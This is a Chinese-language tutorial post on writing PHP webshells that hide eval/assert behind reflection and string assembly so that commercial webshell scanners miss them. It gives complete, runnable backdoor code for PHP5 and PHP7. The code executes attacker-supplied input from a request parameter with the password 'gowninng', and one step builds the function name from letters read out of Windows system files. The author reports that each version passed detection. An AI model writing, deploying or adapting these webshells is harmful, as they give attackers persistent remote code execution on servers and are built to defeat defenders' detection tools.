PHP_WebShell_反射Bypass
编辑前言
之前在研究Java内存马的时候,反射机制是必不可少的,通过反射可调用任意方法。于是在想是否PHP的webshell是否也可以使用反射机制来写,于是乎就用反射来修改普通的PHP一句话webshell。
PHP5版本
这是普通的PHP一句话:
<?php @eval($_POST['shell']);?>
接下来,使用反射来写webshell,先写一个恶意class用于反射调用:
<?php
class Command {
private $var1;
public $var2;
public function __construct() {
$this->var2 = "var1";
$var2 = 'assert';
$this->var1 = function ($param) use ($var2) {
return call_user_func($var2, $param . 'exit();//');
};
}
}
然后使用反射调用该class类:
<?php
$pass = "gowninng";
if(isset($_REQUEST[$pass])){
$param = $_REQUEST[$pass];
// 创建一个Command类的实例
$instance = new Command();
// 创建一个反射类对象,用于检查和操作Command类
$reflectionClass = new ReflectionClass('Command');
// 获取实例中command属性的反射对象
// 注意:$instance->command尝试访问公共属性command的值,这个值被用作字符串来查找属性
$reflectionProperty = $reflectionClass->getProperty($instance->var2);
// 设置反射属性为可访问,即使它是私有或受保护的
$reflectionProperty->setAccessible(true);
// 从实例中获取该属性的实际值(通常是一个闭包函数)
$command = $reflectionProperty->getValue($instance);
// 创建一个反射函数对象,用于检查和调用函数
$reflectionMethod = new ReflectionFunction($command);
// 调用获取的函数,并传入$param参数(通常是从请求中获取的代码)
$result = $reflectionMethod->invoke($param);
echo $result;
}
接下来,将这两段代码结合:
<?php
$pass = "gowninng";
if(isset($_REQUEST[$pass])){
$param = $_REQUEST[$pass];
$instance = new Command();
$reflectionClass = new ReflectionClass('Command');
$reflectionProperty = $reflectionClass->getProperty($instance->var2);
$reflectionProperty->setAccessible(true);
$command = $reflectionProperty->getValue($instance);
$reflectionMethod = new ReflectionFunction($command);
$result = $reflectionMethod->invoke($param);
echo $result;
}
class Command {
private $var1;
public $var2;
public function __construct() {
$this->var2 = "var1";
$var2 = 'assert';
$this->var1 = function ($param) use ($var2) {
return call_user_func($var2, $param . 'exit();//');
};
}
}
?>
这个虽然可以执行,但是过不了长亭webshell和阿里伏魔webshell的检测。
那继续修改,先后将$var2 = 'assert';
修改成$var2 = 'ass'.'ert';
也不行,但是改成$var2 = 'ss'.'ert';
可以绕过,但是不能执行代码了呀。
那么可以定义一个新的变量,比如$var3="a"
。。。。。
不用想,肯定不行,但是可以另辟蹊径,使用define设置全局变量:
define('var3','a');
然后将var3拼接到 'ss'.'ert';
,就等于$var2 = var3.'ss'.'ert';
,那现在直接修改代码:
<?php
// error_reporting(0);
$pass = "gowninng";
define('var3','a');
if(isset($_REQUEST[$pass])){
$param = $_REQUEST[$pass];
$instance = new Command();
$reflectionClass = new ReflectionClass('Command');
$reflectionProperty = $reflectionClass->getProperty($instance->var2);
$reflectionProperty->setAccessible(true);
$command = $reflectionProperty->getValue($instance);
$reflectionMethod = new ReflectionFunction($command);
$result = $reflectionMethod->invoke($param);
echo $result;
}
class Command {
private $var1;
public $var2;
public function __construct() {
$this->var2 = "var1";
$var2 = var3.'ss'.'ert';
$this->var1 = function ($param) use ($var2) {
return call_user_func($var2, $param . 'exit();//');
};
}
}
?>
来尝试一下执行phpinfo,ok没问题。
那试试上传长亭伏魔和virustotal,伏魔和virustotal随便过,长亭第一次过了,后面再传上去突然能识别木马了。。。
那好,既然define这个思路可以过部分检测的话,就顺着define修改,既然拼接行不通,那就是不能在该代码中有完整的assert字段,可以试着修改define的字段,首先先尝试以下代码:
<?php
define('var3','a'.'ss'.'et');
$pass = "gowninng";
if(isset($_REQUEST[$pass])){
$param = $_REQUEST[$pass];
$instance = new Command();
$reflectionClass = new ReflectionClass('Command');
$reflectionProperty = $reflectionClass->getProperty($instance->var2);
$reflectionProperty->setAccessible(true);
$command = $reflectionProperty->getValue($instance);
$reflectionMethod = new ReflectionFunction($command);
$result = $reflectionMethod->invoke($param);
echo $result;
}
class Command {
private $var1;
public $var2;
public function __construct() {
$this->var2 = "var1";
$var2 = var3;
$this->var1 = function ($param) use ($var2) {
return call_user_func($var2, $param . 'exit();//');
};
}
}
?>
define('var3','a'.'ss'.'et');
少一个r。
既然少字段可以绕过检测,那么,是不是可以尝试从外部获取字母并拼接成assert呢?当然可以,从C:\Windows\System32\drivers\etc文件中获取a s s e r t六个字母拼接并赋值到全局变量:
//全局变量 从C:\Windows\System32\drivers\etc文件中获取g e t三个字母拼接并赋值到全局变量gowninng
$etcDir = 'C:\Windows\System32\drivers\etc';
$files = scandir($etcDir);
$content = '';
foreach ($files as $file) {
if ($file != '.' && $file != '..') {
$content .= file_get_contents("$etcDir/$file");
if (strlen($content) > 100) break; // 防止读取太多内容
}
}
$a = ''; $s = ''; $e = ''; $r = ''; $t = '';
for ($i = 0; $i < strlen($content); $i++) {
$char = strtolower($content[$i]);
if ($char == 'a' && empty($a)) $a = $char;
if ($char == 's' && empty($s)) $s = $char;
if ($char == 'e' && empty($e)) $e = $char;
if ($char == 'r' && empty($r)) $r = $char;
if ($char == 't' && empty($t)) $t = $char;
if (!empty($a) && !empty($s) && !empty($e) && !empty($r) && !empty($t)) break;
}
define("var3", $a . $s . $s. $e . $r . $t);
完整代码:
<?php
// error_reporting(0);
//全局变量 从C:\Windows\System32\drivers\etc文件中获取g e t三个字母拼接并赋值到全局变量gowninng
$etcDir = 'C:\Windows\System32\drivers\etc';
$files = scandir($etcDir);
$content = '';
foreach ($files as $file) {
if ($file != '.' && $file != '..') {
$content .= file_get_contents("$etcDir/$file");
if (strlen($content) > 100) break; // 防止读取太多内容
}
}
$a = ''; $s = ''; $e = ''; $r = ''; $t = '';
for ($i = 0; $i < strlen($content); $i++) {
$char = strtolower($content[$i]);
if ($char == 'a' && empty($a)) $a = $char;
if ($char == 's' && empty($s)) $s = $char;
if ($char == 'e' && empty($e)) $e = $char;
if ($char == 'r' && empty($r)) $r = $char;
if ($char == 't' && empty($t)) $t = $char;
if (!empty($a) && !empty($s) && !empty($e) && !empty($r) && !empty($t)) break;
}
define("var3", $a . $s . $s. $e . $r . $t);
$pass = "gowninng";
if(isset($_REQUEST[$pass])){
$param = $_REQUEST[$pass];
$instance = new Command();
$reflectionClass = new ReflectionClass('Command');
$reflectionProperty = $reflectionClass->getProperty($instance->var2);
$reflectionProperty->setAccessible(true);
$command = $reflectionProperty->getValue($instance);
$reflectionMethod = new ReflectionFunction($command);
$result = $reflectionMethod->invoke($param);
echo $result;
}
class Command {
private $var1;
public $var2;
public function __construct() {
$this->var2 = "var1";
$var2 = var3;
$this->var1 = function ($param) use ($var2) {
return call_user_func($var2, $param . 'exit();//');
};
}
}
?>
直接绕过,那么有同学会说,assert
这样赋值的话,php7以上能好使么?当然不好使,在 PHP 7.2+ 版本中,assert()
不再支持字符串参数动态求值,所有以下报错:
所以我们要改class类的代码了,直接让assert
或者eval
直接在代码中作为方法引用。
PHP7版本
首先,要修改Command
类的代码:
class Command {
private $get;
public $command;
public function __construct() {
$this->command = var3;
$this->get = function ($param) { return eval($param.'exit();//'); };
}
}
既然将eval
写到代码中了,就不用再通过外部文件获取代码执行的方法名称了,但是根据上面的反射代码条件,反射是访问公共属性command
的值,现在$this->command = var3
,我们就要赋值全局变量var3为get三个字母,才能调用$this->get
属性的实际值,这个值为function ($param) { return eval($param.'exit();//'); };
,通过创建一个反射函数对象反射该无命名方法并传入参数。
接下来贴上完整代码:
<?php
// error_reporting(0);
//全局变量 从C:\Windows\System32\drivers\etc文件中获取字母拼接并赋值到全局变量gowninng
$etcDir = 'C:\Windows\System32\drivers\etc';
$files = scandir($etcDir);
$content = '';
foreach ($files as $file) {
if ($file != '.' && $file != '..') {
$content .= file_get_contents("$etcDir/$file");
if (strlen($content) > 100) break; // 防止读取太多内容
}
}
$g = ''; $e = ''; $t = '';
for ($i = 0; $i < strlen($content); $i++) {
$char = strtolower($content[$i]);
if ($char == 'g' && empty($g)) $g = $char;
if ($char == 'e' && empty($e)) $e = $char;
if ($char == 't' && empty($t)) $t = $char;
if (!empty($g) && !empty($e) && !empty($t)) break;
}
define("var3", $g . $e . $t);
$pass = "gowninng";
if(isset($_REQUEST[$pass])){
$param = $_REQUEST[$pass];
// 创建一个Command类的实例
$instance = new Command();
// 创建一个反射类对象,用于检查和操作Command类
$reflectionClass = new ReflectionClass('Command');
// 获取实例中command属性的反射对象
// 注意:$instance->command尝试访问公共属性command的值,这个值被用作字符串来查找属性
$reflectionProperty = $reflectionClass->getProperty($instance->command);
// 设置反射属性为可访问,即使它是私有或受保护的
$reflectionProperty->setAccessible(true);
// 从实例中获取该属性的实际值(通常是一个闭包函数)
$command = $reflectionProperty->getValue($instance);
// 创建一个反射函数对象,用于检查和调用函数
$reflectionMethod = new ReflectionFunction($command);
// 调用获取的函数,并传入$param参数(通常是从请求中获取的代码)
$result = $reflectionMethod->invoke($param);
echo $result;
}
class Command {
private $get;
public $command;
public function __construct() {
$this->command = var3;
$this->get = function ($param) { return eval($param.'exit();//'); };
}
}
?>
我们尝试下执行phpinfo,没毛病。
接下来过一下检测,同样没问题。
get这三个字母也可以通过获取文件名等方式获取,比如将该webshell文件改成get.php只获取get字段,还有很多方法绕过,同样可以改成蚁剑加载器等,不一一讲述。
- 0
- 0
-
分享